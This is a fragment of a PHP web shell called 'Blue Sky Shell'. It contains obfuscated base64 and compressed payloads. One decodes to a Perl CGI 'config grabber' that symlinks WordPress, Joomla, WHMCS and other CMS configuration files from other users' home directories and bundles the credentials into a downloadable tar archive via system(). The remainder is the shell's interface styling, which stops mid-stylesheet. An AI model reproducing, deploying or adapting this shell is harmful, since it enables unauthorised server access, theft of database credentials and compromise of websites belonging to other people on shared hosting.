$jumper="zVPdbtMwFL6ftHc4tSLZ0dKmwF2bpEgILkFar2CbghPbxCiJI9thK9MeiLfkOFnLygXXKErkfj/n15V1Y4BknlethLrlzuW3pO5EZR5uSZF5i6+A2rRu4D1SrxElW7i8YJHrIAfd6/Kb9Iw6rmTZGSFpDHkO6xh2qJpF1ChFNyC0ZOS9tcZuYH+UI/2pz1IvCvzY8AmlFJcXmdA/ThXpXhnMvB8t7/bNm7bNUqQL+Ev2nR84yuCL6Sotl9fGePgFZCW4l4x+ponXnWRxvCIIRg8feSfxuF3GMMcjcWjNSV8GYdnqTnu2RvBtNGCGe4HVKjPIntFU+jqdQZpQSyenVsAWz9IYHkPHwMjN8g6mtmED78wo+q8eriUX8CLG/zSBp7C4YaywWW4tPzDEotFJ686Q2vTqDND4a72F+0a3ki2UNIodZxE/TpfB2zBAvC/uxGwhDA29Bbxar1EXDSbkQS0eWPAkdDOPdyqix5IDP1ZIzfw6CaZQgtD2Z7hwaWM6mdLVybGiKXbU6rpsfNem9Lgt9ifmAn00VBpw7UqLKwqbYFPUQEytlsPomtnmkpMbk79kMVcy28I4wxPpq6twVgbj1g08RwDu5tlOE5Lh30hvPpixF7C4g4xDY6XKye6Qn7V03g4p/kGmWcqLrLIFnTe7K34D";
///Zone-h
$mrtiedie="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";
//confshell
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
?>
<html><head><title>Blue Sky Shell</title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = 'none';
	document.getElementById(baru).style.display = 'block';
}
</script>
<style type="text/css">
body{
	background:#000000;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #191919;
}
*{
	font-size:11px;
	font-family:Tahoma,Verdana,Arial;
	color:#4C83AF;
}
#menu{
	background:#111111;
	margin:8px 2px 4px 2px;
}
#menu a{
	padding:4px 18px;
	margin:0;
	background:#222222;
	text-decoration:none;
	letter-spacing:2px;
}
#menu a:hover{
	background:#191919;
	border-bottom:1px solid #333333;
	border-top:1px solid #333333;
}
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
}
.main {
	width:100%;
}
.gaya {
	color: #4C83AF;
}
.inputz{
	background:#111111;
	border:0;
	padding:2px;
	border-bottom:1px solid #222222;
	border-top:1px solid #222222;
}
.inputzbut{
	background:#111111;
	color:#4C83AF;
	margin:0 4px;
	border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #4C83AF;
	border-top:1px solid #4C83AF;
}
.output {
	margin:auto;
	border:1px solid #4C83AF;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.cmdbox{
	width:100%;
}
.head_info{
	padding: 0 4px;
}
.b374k{
	font-size:30px;
	padding:0;
	color:#4C83AF;
}
.b374k1{
	font-size:30px;
	padding:0;
	color: #333333;
}
.b374k_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0;
}
.phpinfo td{
	background:#111111;
	color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
	background:#191919;
	border-bottom:1px solid #333333;
